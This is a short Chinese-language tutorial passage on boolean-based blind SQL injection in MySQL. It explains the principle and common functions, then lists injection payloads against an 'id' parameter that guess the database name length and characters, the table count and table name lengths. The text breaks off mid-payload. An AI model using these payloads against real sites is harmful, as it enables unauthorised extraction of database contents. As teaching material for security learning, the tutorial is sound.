布尔型盲注
原理:
在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)
这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息
MySQL盲注常用函数:
length() #返回字符串的长度,例如可以返回数据库名字的长度
substr() #用来截取字符串
ascii() #返回字符的ascii码
sleep(n) #将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) #判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句
猜解数据库名长度:
id=1' and length(database())>8#
二分法猜解数据库名:
# 判断数据库的第一个字符
id=1' and ascii(substr(database(),1,1))>97#
# 判断数据库的第n个字符
id=1' and ascii(substr(database(),n,1))>97#
猜解表的数量:
id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>1#
猜解表名长度:
# 猜测第一张表名长度
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#
# 猜测第n张表名长度
id=1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit n,1),1))=9#
猜解表名:
# 猜解第一张表第一个字符
id=1' and ascii(substr((